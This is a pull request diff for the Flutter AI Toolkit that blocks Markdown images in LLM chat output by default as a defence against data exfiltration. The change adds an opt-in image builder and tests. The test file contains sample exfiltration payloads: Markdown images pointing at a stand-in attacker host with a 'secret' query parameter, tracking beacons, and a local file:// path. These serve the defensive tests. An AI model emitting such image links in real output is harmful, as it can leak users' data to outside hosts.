Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,13 @@
## 1.1.0

- **BREAKING CHANGE**: Suppressed Markdown images in `LlmMessageView` by default
(`SizedBox.shrink()`) to prevent automatic outbound network requests and local
file reads from untrusted LLM output.
- Added an optional `imageBuilder` property to `LlmMessageStyle` (defaults to
`null`) for applications that explicitly opt in to custom Markdown image
rendering.
- Made `LlmMessageStyle` `final`.

## 1.0.0

- Merged [Enable customisable styling for WaveformRecorder via
Expand Down
1 change: 1 addition & 0 deletions example/lib/dark_style.dart
Original file line number Diff line number Diff line change
Expand Up @@ -60,6 +60,7 @@ LlmMessageStyle _darkLlmMessageStyle() {
shape: BoxShape.circle,
),
markdownStyle: _invertMarkdownStyle(style.markdownStyle),
imageBuilder: style.imageBuilder,
decoration: _invertDecoration(style.decoration),
);
}
Expand Down
14 changes: 12 additions & 2 deletions example/lib/recipes/views/recipe_response_view.dart
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,12 @@ class RecipeResponseView extends StatelessWidget {
// extract the text before the recipe
final text = recipeWithText['text'] as String?;
if (text != null && text.isNotEmpty) {
children.add(MarkdownBody(data: text));
children.add(
MarkdownBody(
data: text,
imageBuilder: (_, _, _) => const SizedBox.shrink(),
),
);
}

// extract the recipe
Expand Down Expand Up @@ -69,7 +74,12 @@ class RecipeResponseView extends StatelessWidget {

// add the remaining text
if (finalText != null && finalText.isNotEmpty) {
children.add(MarkdownBody(data: finalText));
children.add(
MarkdownBody(
data: finalText,
imageBuilder: (_, _, _) => const SizedBox.shrink(),
),
);
}

return Column(
Expand Down
14 changes: 13 additions & 1 deletion lib/src/styles/llm_message_style.dart
Original file line number Diff line number Diff line change
Expand Up @@ -11,14 +11,15 @@ import 'toolkit_text_styles.dart';

/// Style for LLM messages.
@immutable
class LlmMessageStyle {
final class LlmMessageStyle {
/// Creates an LlmMessageStyle.
const LlmMessageStyle({
this.icon,
this.iconColor,
this.iconDecoration,
this.decoration,
this.markdownStyle,
this.imageBuilder,
this.maxWidth = 600.0,
this.minWidth = 300.0,
this.flex = 6,
Expand Down Expand Up @@ -51,6 +52,7 @@ class LlmMessageStyle {
iconColor: style?.iconColor ?? defaultStyle.iconColor,
iconDecoration: style?.iconDecoration ?? defaultStyle.iconDecoration,
markdownStyle: style?.markdownStyle ?? defaultStyle.markdownStyle,
imageBuilder: style?.imageBuilder ?? defaultStyle.imageBuilder,
decoration: style?.decoration ?? defaultStyle.decoration,
maxWidth: style?.maxWidth ?? defaultStyle.maxWidth,
minWidth: style?.minWidth ?? defaultStyle.minWidth,
Expand Down Expand Up @@ -110,6 +112,7 @@ class LlmMessageStyle {
Color? iconColor,
BoxDecoration? iconDecoration,
MarkdownStyleSheet? markdownStyle,
MarkdownImageBuilder? imageBuilder,
double? maxWidth,
double? minWidth,
int? flex,
Expand All @@ -122,6 +125,7 @@ class LlmMessageStyle {
iconColor: iconColor ?? this.iconColor,
iconDecoration: iconDecoration ?? this.iconDecoration,
markdownStyle: markdownStyle ?? this.markdownStyle,
imageBuilder: imageBuilder ?? this.imageBuilder,
maxWidth: maxWidth ?? this.maxWidth,
minWidth: minWidth ?? this.minWidth,
flex: flex ?? this.flex,
Expand All @@ -145,6 +149,14 @@ class LlmMessageStyle {
/// The markdown style sheet for LLM messages.
final MarkdownStyleSheet? markdownStyle;

/// Builder for rendering Markdown images in LLM messages.
///
/// Defaults to `null`, which suppresses Markdown images using
/// [SizedBox.shrink] so untrusted model output cannot trigger automatic
/// network fetches or local file reads. When providing a custom builder,
/// validate URI schemes and allowlist trusted hosts before loading images.
final MarkdownImageBuilder? imageBuilder;

/// The maximum width of the message bubble.
final double maxWidth;

Expand Down
6 changes: 6 additions & 0 deletions lib/src/views/chat_message_view/llm_message_view.dart
Original file line number Diff line number Diff line change
Expand Up @@ -97,6 +97,9 @@ class LlmMessageView extends StatelessWidget {
data: text,
selectable: false,
styleSheet: llmStyle.markdownStyle,
imageBuilder:
llmStyle.imageBuilder ??
_emptyImageBuilder,
onTapLink: (_, href, _) {
if (href != null) {
launchUrl(Uri.parse(href));
Expand All @@ -120,3 +123,6 @@ class LlmMessageView extends StatelessWidget {
],
);
}

Widget _emptyImageBuilder(Uri _, String? _, String? _) =>
const SizedBox.shrink();
2 changes: 1 addition & 1 deletion pubspec.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ name: flutter_ai_toolkit
description: >-
AI chat widget for Flutter apps targeting mobile, desktop, and web supporting
text, image, and voice input.
version: 1.0.0
version: 1.1.0
repository: https://github.com/flutter/ai

topics:
Expand Down
194 changes: 194 additions & 0 deletions test/llm_message_image_test.dart
Original file line number Diff line number Diff line change
@@ -0,0 +1,194 @@
// Copyright 2026 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

import 'package:flutter/material.dart';
import 'package:flutter_ai_toolkit/flutter_ai_toolkit.dart';
import 'package:flutter_test/flutter_test.dart';

void main() {
group('LlmMessageStyle.imageBuilder', () {
test(
'defaults to null and preserves custom builder across resolve/copyWith',
() {
Widget customBuilder(Uri uri, String? title, String? alt) =>
Text(alt ?? '');

expect(LlmMessageStyle.defaultStyle().imageBuilder, isNull);
expect(
LlmMessageStyle.resolve(const LlmMessageStyle()).imageBuilder,
isNull,
);

final customStyle = LlmMessageStyle(imageBuilder: customBuilder);
expect(
LlmMessageStyle.resolve(customStyle).imageBuilder,
same(customBuilder),
);

final copied = LlmMessageStyle.defaultStyle().copyWith(
imageBuilder: customBuilder,
);
expect(copied.imageBuilder, same(customBuilder));
expect(
copied.copyWith(maxWidth: 480).imageBuilder,
same(customBuilder),
);
},
);
});

group('LlmMessageView markdown image handling', () {
testWidgets(
'drops http and https markdown images by default while rendering text and links',
(tester) async {
final provider = EchoProvider(
history: [
ChatMessage(
origin: MessageOrigin.llm,
text:
'Hello **world**! Visit [Flutter](https://flutter.dev). '
'![chart](http://attacker.invalid/exfil?d=secret) '
'![pixel](https://attacker.invalid/beacon.png)',
attachments: const [],
),
],
);

await tester.pumpWidget(
MaterialApp(
home: Scaffold(
body: LlmChatView(
provider: provider,
enableAttachments: false,
enableVoiceNotes: false,
),
),
),
);
await tester.pump();
await tester.pump(const Duration(milliseconds: 50));

expect(
find.textContaining('Hello', findRichText: true),
findsOneWidget,
);
expect(
find.textContaining('world', findRichText: true),
findsOneWidget,
);
expect(
find.textContaining('Flutter', findRichText: true),
findsOneWidget,
);
expect(find.byType(Image), findsNothing);
},
);

testWidgets('drops file:// and relative markdown images by default', (
tester,
) async {
final provider = EchoProvider(
history: [
ChatMessage(
origin: MessageOrigin.llm,
text:
'Summary ready. '
'![local](file:///tmp/secret.png) '
'![relative](secret.png)',
attachments: const [],
),
],
);

await tester.pumpWidget(
MaterialApp(
home: Scaffold(
body: LlmChatView(
provider: provider,
enableAttachments: false,
enableVoiceNotes: false,
),
),
),
);
await tester.pump();
await tester.pump(const Duration(milliseconds: 50));

expect(
find.textContaining('Summary ready.', findRichText: true),
findsOneWidget,
);
expect(find.byType(Image), findsNothing);
});

testWidgets('drops markdown images in welcomeMessage by default', (
tester,
) async {
await tester.pumpWidget(
MaterialApp(
home: Scaffold(
body: LlmChatView(
provider: EchoProvider(),
welcomeMessage:
'Welcome! ![beacon](https://attacker.invalid/welcome)',
enableAttachments: false,
enableVoiceNotes: false,
),
),
),
);
await tester.pump();
await tester.pump(const Duration(milliseconds: 50));

expect(
find.textContaining('Welcome!', findRichText: true),
findsOneWidget,
);
expect(find.byType(Image), findsNothing);
});

testWidgets('uses custom LlmMessageStyle.imageBuilder when provided', (
tester,
) async {
final provider = EchoProvider(
history: [
ChatMessage(
origin: MessageOrigin.llm,
text:
'Here is a chart: '
'![Sales Chart](https://cdn.example.com/chart.png "Q4")',
attachments: const [],
),
],
);

await tester.pumpWidget(
MaterialApp(
home: Scaffold(
body: LlmChatView(
provider: provider,
enableAttachments: false,
enableVoiceNotes: false,
style: LlmChatViewStyle(
llmMessageStyle: LlmMessageStyle(
imageBuilder:
(uri, title, alt) =>
Text('CUSTOM_IMG:${uri.host}:$alt:$title'),
),
),
),
),
),
);
await tester.pump();
await tester.pump(const Duration(milliseconds: 50));

expect(
find.text('CUSTOM_IMG:cdn.example.com:Sales Chart:Q4'),
findsOneWidget,
);
expect(find.byType(Image), findsNothing);
});
});
}
Loading